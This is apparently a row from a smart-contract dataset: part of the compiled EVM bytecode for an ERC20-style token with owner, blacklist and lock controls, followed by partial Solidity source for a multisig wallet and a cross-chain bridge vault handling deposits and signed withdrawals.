0f565b60405180910390fd5b60004790506110b86123a5565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110fd573d6000803e3d6000fd5b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600115156004600061115a611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146111e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111db90612e0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600060011515600460006112b4611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612e0f565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a490612c8f565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016113e89190612c0e565b60206040518083038186803b15801561140057600080fd5b505afa158015611414573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143891906128d3565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401611475929190612c29565b602060405180830381600087803b15801561148f57600080fd5b505af11580156114a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c79190612879565b91505092915050565b60006114da6114df565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b8054611517906130de565b80601f0160208091040260200160405190810160405280929190818152602001828054611543906130de565b80156115905780601f1061156557610100808354040283529160200191611590565b820191906000526020600020905b81548152906001019060200180831161157357829003601f168201915b5050505050905090565b6115a2611b47565b73ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611631576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162890612e2f565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600115156004600061169e611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90612e0f565b60405180910390fd5b611739611733611b47565b836123cf565b60019050919050565b600061182261174f611b47565b8461181d856040518060400160405280601e81526020017f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f000081525060066000611796611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121229092919063ffffffff16565b611b4f565b6001905092915050565b6000611840611839611b47565b8484611d1a565b6001905092915050565b6000600354905090565b61185c611b47565b73ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e290612e2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561195b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195290612cef565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6001151560046000611a36611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab790612e0f565b60405180910390fd5b611ac981612559565b50565b600080831415611adf5760009050611b41565b60008284611aed9190612fc8565b9050828482611afc9190612f97565b14611b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3390612dcf565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb690612d6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2690612caf565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d0d9190612eef565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8190612ecf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df190612e8f565b60405180910390fd5b60008111611e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3490612def565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec190612d2f565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4e90612d2f565b60405180910390fd5b611fe0816040518060400160405280601f81526020017f5472616e7366657220616d6f756e7420657863656564732062616c616e636500815250600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121229092919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061207581600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218690919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121159190612eef565b60405180910390a3505050565b600083831115829061216a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121619190612c6d565b60405180910390fd5b50600083856121799190613022565b9050809150509392505050565b60008082846121959190612f41565b9050838110156121da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d190612d0f565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224b90612d4f565b60405180910390fd5b6122dd816040518060400160405280601b81526020017f4275726e20616d6f756e7420657863656564732062616c616e63650000000000815250600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121229092919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123358160085461268690919063ffffffff16565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123999190612eef565b60405180910390a35050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561243f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243690612e6f565b60405180910390fd5b6124548160085461218690919063ffffffff16565b6008819055506124ac81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218690919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161254d9190612eef565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156125c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c090612ccf565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006126c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612122565b905092915050565b6000813590506126df816135ee565b92915050565b6000813590506126f481613605565b92915050565b60008151905061270981613605565b92915050565b60008135905061271e8161361c565b92915050565b6000815190506127338161361c565b92915050565b60006020828403121561274f5761274e61319d565b5b600061275d848285016126d0565b91505092915050565b6000806040838503121561277d5761277c61319d565b5b600061278b858286016126d0565b925050602061279c858286016126d0565b9150509250929050565b6000806000606084860312156127bf576127be61319d565b5b60006127cd868287016126d0565b93505060206127de868287016126d0565b92505060406127ef8682870161270f565b9150509250925092565b600080604083850312156128105761280f61319d565b5b600061281e858286016126d0565b925050602061282f858286016126e5565b9150509250929050565b600080604083850312156128505761284f61319d565b5b600061285e858286016126d0565b925050602061286f8582860161270f565b9150509250929050565b60006020828403121561288f5761288e61319d565b5b600061289d848285016126fa565b91505092915050565b6000602082840312156128bc576128bb61319d565b5b60006128ca8482850161270f565b91505092915050565b6000602082840312156128e9576128e861319d565b5b60006128f784828501612724565b91505092915050565b61290981613056565b82525050565b61291881613068565b82525050565b600061292982612f25565b6129338185612f30565b93506129438185602086016130ab565b61294c816131a2565b840191505092915050565b6000612964602383612f30565b915061296f826131b3565b604082019050919050565b6000612987601b83612f30565b915061299282613202565b602082019050919050565b60006129aa602683612f30565b91506129b58261322b565b604082019050919050565b60006129cd602883612f30565b91506129d88261327a565b604082019050919050565b60006129f0601b83612f30565b91506129fb826132c9565b602082019050919050565b6000612a13600c83612f30565b9150612a1e826132f2565b602082019050919050565b6000612a36601a83612f30565b9150612a418261331b565b602082019050919050565b6000612a59601d83612f30565b9150612a6482613344565b602082019050919050565b6000612a7c601883612f30565b9150612a878261336d565b602082019050919050565b6000612a9f601883612f30565b9150612aaa82613396565b602082019050919050565b6000612ac2602183612f30565b9150612acd826133bf565b604082019050919050565b6000612ae5602983612f30565b9150612af08261340e565b604082019050919050565b6000612b08602983612f30565b9150612b138261345d565b604082019050919050565b6000612b2b602283612f30565b9150612b36826134ac565b604082019050919050565b6000612b4e601f83612f30565b9150612b59826134fb565b602082019050919050565b6000612b71601883612f30565b9150612b7c82613524565b602082019050919050565b6000612b94601c83612f30565b9150612b9f8261354d565b602082019050919050565b6000612bb7602383612f30565b9150612bc282613576565b604082019050919050565b6000612bda601e83612f30565b9150612be5826135c5565b602082019050919050565b612bf981613094565b82525050565b612c088161309e565b82525050565b6000602082019050612c236000830184612900565b92915050565b6000604082019050612c3e6000830185612900565b612c4b6020830184612bf0565b9392505050565b6000602082019050612c67600083018461290f565b92915050565b60006020820190508181036000830152612c87818461291e565b905092915050565b60006020820190508181036000830152612ca881612957565b9050919050565b60006020820190508181036000830152612cc88161297a565b9050919050565b60006020820190508181036000830152612ce88161299d565b9050919050565b60006020820190508181036000830152612d08816129c0565b9050919050565b60006020820190508181036000830152612d28816129e3565b9050919050565b60006020820190508181036000830152612d4881612a06565b9050919050565b60006020820190508181036000830152612d6881612a29565b9050919050565b60006020820190508181036000830152612d8881612a4c565b9050919050565b60006020820190508181036000830152612da881612a6f565b9050919050565b60006020820190508181036000830152612dc881612a92565b9050919050565b60006020820190508181036000830152612de881612ab5565b9050919050565b60006020820190508181036000830152612e0881612ad8565b9050919050565b60006020820190508181036000830152612e2881612afb565b9050919050565b60006020820190508181036000830152612e4881612b1e565b9050919050565b60006020820190508181036000830152612e6881612b41565b9050919050565b60006020820190508181036000830152612e8881612b64565b9050919050565b60006020820190508181036000830152612ea881612b87565b9050919050565b60006020820190508181036000830152612ec881612baa565b9050919050565b60006020820190508181036000830152612ee881612bcd565b9050919050565b6000602082019050612f046000830184612bf0565b92915050565b6000602082019050612f1f6000830184612bff565b92915050565b600081519050919050565b600082825260208201905092915050565b6000612f4c82613094565b9150612f5783613094565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f8c57612f8b613110565b5b828201905092915050565b6000612fa282613094565b9150612fad83613094565b925082612fbd57612fbc61313f565b5b828204905092915050565b6000612fd382613094565b9150612fde83613094565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561301757613016613110565b5b828202905092915050565b600061302d82613094565b915061303883613094565b92508282101561304b5761304a613110565b5b828203905092915050565b600061306182613074565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156130c95780820151818401526020810190506130ae565b838111156130d8576000848401525b50505050565b600060028204905060018216806130f657607f821691505b6020821081141561310a5761310961316e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f43616e2774206c657420796f752074616b6520616c6c206e617469766520746f60008201527f6b656e0000000000000000000000000000000000000000000000000000000000602082015250565b7f417070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206d616e6167657220697320746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4e6574776f726b206661696c0000000000000000000000000000000000000000600082015250565b7f4275726e2066726f6d20746865207a65726f2061646472657373000000000000600082015250565b7f417070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b7f7573657220616c726561647920626c61636b6c69737465640000000000000000600082015250565b7f7573657220616c72656164792077686974656c69737465640000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c657220646f65736e27742068617665206f776e60008201527f6572206163636573730000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206d616e616760008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b7f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300600082015250565b7f4d696e7420746f20746865207a65726f20616464726573730000000000000000600082015250565b7f5472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b7f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c60008201527f6f636b0000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b6135f781613056565b811461360257600080fd5b50565b61360e81613068565b811461361957600080fd5b50565b61362581613094565b811461363057600080fd5b5056fe5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220daa455c27430b56a92709243fb2f60517d98e9846a8c33fc65d2b4230d7ff01d64736f6c63430008070033 | {"success": true, "error": null, "results": {}} | 10,689 |
0x1bf68a9d1eaee7826b3593c20a0ca93293cb489a | pragma solidity 0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TIERC20 {
function transfer(address to, uint value) public;
function transferFrom(address from, address to, uint value) public;
function balanceOf(address who) public view returns (uint);
function allowance(address owner, address spender) public view returns (uint256);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert("Unauthorized.");
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert("Unauthorized.");
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert("Unauthorized.");
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == address(0))
revert("Existed transaction id.");
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert("Not confirmed transaction.");
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert("Confirmed transaction.");
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert("Executed transaction.");
_;
}
modifier notNull(address _address) {
if (_address == address(0))
revert("Address is null");
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert("Invalid requirement");
_;
}
/// @dev Fallback function allows to deposit ether.
function()
external
payable
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == address(0))
revert("Invalid owner");
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes memory data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
(bool result, ) = txn.destination.call.value(txn.value)(txn.data);
if (result)
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
view
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes memory data)
public
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
view
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
view
returns (address[] memory)
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
view
returns (uint[] memory _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns(uint) {
uint c = a * b;
assertion(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns(uint) {
assertion(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
assertion(c >= a && c >= b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns(uint) {
require(b != 0, 'Divide by zero');
return a / b;
}
function safeCeil(uint a, uint b) internal pure returns (uint) {
require(b > 0);
uint v = a / b;
if(v * b == a) return v;
return v + 1; // b cannot be 1, so v <= a / 2
}
function assertion(bool flag) internal pure {
if (!flag) revert('Assertion fail.');
}
}
contract EthVault is MultiSigWallet{
string public constant chain = "ETH";
bool public isActivated = true;
address payable public implementation;
address public tetherAddress;
uint public depositCount = 0;
mapping(bytes32 => bool) public isUsedWithdrawal;
mapping(bytes32 => address) public tokenAddr;
mapping(address => bytes32) public tokenSummaries;
mapping(bytes32 => bool) public isValidChain;
constructor(address[] memory _owners, uint _required, address payable _implementation, address _tetherAddress) MultiSigWallet(_owners, _required) public {
implementation = _implementation;
tetherAddress = _tetherAddress;
// klaytn valid chain default setting
isValidChain[sha256(abi.encodePacked(address(this), "KLAYTN"))] = true;
}
function _setImplementation(address payable _newImp) public onlyWallet {
require(implementation != _newImp);
implementation = _newImp;
}
function () payable external {
address impl = implementation;
require(impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract EthVaultImpl is EthVault, SafeMath{
event Deposit(string fromChain, string toChain, address fromAddr, bytes toAddr, address token, uint8 decimal, uint amount, uint depositId, uint block);
event Withdraw(address hubContract, string fromChain, string toChain, bytes fromAddr, bytes toAddr, bytes token, bytes32[] bytes32s, uint[] uints);
modifier onlyActivated {
require(isActivated);
_;
}
constructor(address[] memory _owner) public EthVault(_owner, _owner.length, address(0), address(0)) {
}
function getVersion() public pure returns(string memory){
return "1028";
}
function changeActivate(bool activate) public onlyWallet {
isActivated = activate;
}
function setTetherAddress(address tether) public onlyWallet {
tetherAddress = tether;
}
function getChainId(string memory _chain) public view returns(bytes32){
return sha256(abi.encodePacked(address(this), _chain));
}
function setValidChain(string memory _chain, bool valid) public onlyWallet {
isValidChain[getChainId(_chain)] = valid;
}
function deposit(string memory toChain, bytes memory toAddr) payable public onlyActivated {
require(isValidChain[getChainId(toChain)]);
require(msg.value > 0);
depositCount = depositCount + 1;
emit Deposit(chain, toChain, msg.sender, toAddr, address(0), 18, msg.value, depositCount, block.number);
}
function depositToken(address token, string memory toChain, bytes memory toAddr, uint amount) public onlyActivated{
require(isValidChain[getChainId(toChain)]);
require(token != address(0));
require(amount > 0);
uint8 decimal = 0;
if(token == tetherAddress){
TIERC20(token).transferFrom(msg.sender, address(this), amount);
decimal = TIERC20(token).decimals();
}else{
if(!IERC20(token).transferFrom(msg.sender, address(this), amount)) revert();
decimal = IERC20(token).decimals();
}
require(decimal > 0);
depositCount = depositCount + 1;
emit Deposit(chain, toChain, msg.sender, toAddr, token, decimal, amount, depositCount, block.number);
}
// Fix Data Info
///@param bytes32s [0]:govId, [1]:txHash
///@param uints [0]:amount, [1]:decimals
function withdraw(
address hubContract,
string memory fromChain,
bytes memory fromAddr,
bytes memory toAddr,
bytes memory token,
bytes32[] memory bytes32s,
uint[] memory uints,
uint8[] memory v,
bytes32[] memory r,
bytes32[] memory s
) public onlyActivated {
require(bytes32s.length >= 1);
require(bytes32s[0] == sha256(abi.encodePacked(hubContract, chain, address(this))));
require(uints.length >= 2);
require(isValidChain[getChainId(fromChain)]);
bytes32 whash = sha256(abi.encodePacked(hubContract, fromChain, chain, fromAddr, toAddr, token, bytes32s, uints));
require(!isUsedWithdrawal[whash]);
isUsedWithdrawal[whash] = true;
uint validatorCount = _validate(whash, v, r, s);
require(validatorCount >= required);
address payable _toAddr = bytesToAddress(toAddr);
address tokenAddress = bytesToAddress(token);
if(tokenAddress == address(0)){
if(!_toAddr.send(uints[0])) revert();
}else{
if(tokenAddress == tetherAddress){
TIERC20(tokenAddress).transfer(_toAddr, uints[0]);
}
else{
if(!IERC20(tokenAddress).transfer(_toAddr, uints[0])) revert();
}
}
